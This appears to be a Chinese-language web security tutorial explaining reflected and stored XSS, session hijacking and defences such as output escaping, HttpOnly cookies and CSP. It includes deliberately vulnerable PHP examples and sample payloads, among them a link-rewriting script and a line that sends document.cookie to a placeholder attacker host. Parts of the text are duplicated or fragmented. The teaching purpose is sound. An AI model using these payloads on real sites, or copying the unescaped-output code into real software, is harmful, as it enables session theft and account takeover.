XSS 跨站脚本攻击原理与防御指南
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见 Web 安全漏洞。它与 SQL 注入类似,SQL 注入以 SQL 语句作为用户输入来操作数据库,而 XSS 则是通过在网页中插入恶意脚本,实现对用户浏览器的控制。
XSS 攻击类型
XSS 攻击主要分为两种类型:
XSS(跨站脚本攻击)是一种常见 Web 安全漏洞,攻击者通过在网页中注入恶意脚本,当其他用户浏览该页面时,脚本会在其浏览器端执行。主要分为反射型和存储型两种。反射型依赖诱导用户点击特定链接,存储型则将恶意代码持久化至服务器数据库。攻击后果包括会话劫持、钓鱼欺诈及数据泄露。防御措施涵盖输入验证、输出编码、设置 HttpOnly Cookie 标志以及实施内容安全策略(CSP)。

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见 Web 安全漏洞。它与 SQL 注入类似,SQL 注入以 SQL 语句作为用户输入来操作数据库,而 XSS 则是通过在网页中插入恶意脚本,实现对用户浏览器的控制。
XSS 攻击主要分为两种类型:
假设有一个 index.php 页面,直接输出用户传入的参数:
<?php
$name = $_GET['name'];
echo "Welcome " . $name . "<br>";
echo "<a href='http://example.com/download'>Click to Download</a>";
?>
该页面功能为显示欢迎语并提供下载链接。由于未对用户输入进行过滤,攻击者可构造恶意 URL。
攻击者构造如下 URL:
index.php?name=guest<script>alert('attacked')</script>
当用户点击该链接时,浏览器会执行 <script> 标签内的 JavaScript 代码,弹出告警框。
攻击者还可以利用 XSS 修改页面上的链接跳转目标:
index.php?name=<script>window.onload=function(){var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}</script>
此时,用户点击'Click to Download'按钮时,将被重定向到攻击者控制的网站。
为了绕过简单的关键词过滤,攻击者常使用 ASCII 编码或 Base64 编码混淆 Payload。
持久型 XSS 通常涉及数据库交互,攻击数据被保存后,任何访问该页面的用户都会受到影响。
HTTP 协议是无状态的。为了维护用户登录状态,Web 应用通常使用 Cookie 和 Session 机制。用户首次登录时,服务器创建 Session ID 并发送给浏览器保存在 Cookie 中。后续请求携带此 Cookie,服务器据此识别用户身份。
若攻击者通过 XSS 窃取用户的 Session ID,即可在会话有效期内冒充用户,实现权限提升或会话劫持。
假设有以下两个文件:
login.php:处理用户登录验证。
<?php
session_start();
$username = $_POST['user_name'];
$password = $_POST['password'];
// 此处省略数据库查询逻辑
if ($username === 'admin' && $password === 'secret') {
$_SESSION['role'] = 'admin';
header('Location: home.php');
} else {
echo 'Login failed';
}
?>
home.php:根据用户角色显示不同内容。
<?php
session_start();
if ($_SESSION['role'] !== 'admin') {
// 普通用户可提交用户名
if (isset($_POST['new_user'])) {
$new_user = $_POST['new_user'];
// 此处省略数据库插入逻辑
echo "User added: " . $new_user;
}
} else {
// Admin 查看用户列表
echo "Admin Panel";
}
?>
home.php。<a href="#" onclick="document.location='http://attacker-site.com/xss.php?c='+escape(document.cookie);">bangerlee</a>
针对 XSS 攻击,建议采取以下多层防御措施:
对所有用户输入的数据进行严格校验,拒绝非法字符。例如,禁止在文本字段中输入 HTML 标签或 JavaScript 关键字。
在将用户数据输出到 HTML 页面时,必须进行上下文相关的编码。
<、>、&、"、' 转换为对应的实体字符。PHP 示例:
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
防止 JavaScript 读取 Cookie 中的敏感信息(如 Session ID)。在设置 Cookie 时添加 HttpOnly 标志:
setcookie('PHPSESSID', $id, time() + 3600, '/', '', true, true);
最后一个参数 true 即代表 HttpOnly。
通过 HTTP 响应头 Content-Security-Policy 限制浏览器加载的资源来源,禁止内联脚本执行:
Content-Security-Policy: default-src 'self'; script-src 'self'
现代前端框架(如 React、Vue)默认会对输出内容进行自动转义,能有效降低 XSS 风险。但在使用 dangerouslySetInnerHTML 等危险 API 时需格外谨慎。
XSS 是 Web 开发中最常见的安全风险之一。理解其工作原理及分类有助于开发者构建更安全的系统。通过严格的输入验证、正确的输出编码以及合理的 Cookie 配置,可以大幅降低 XSS 攻击的成功率。安全是一个持续的过程,需要结合代码审计与自动化扫描工具共同保障应用安全。

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online
通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online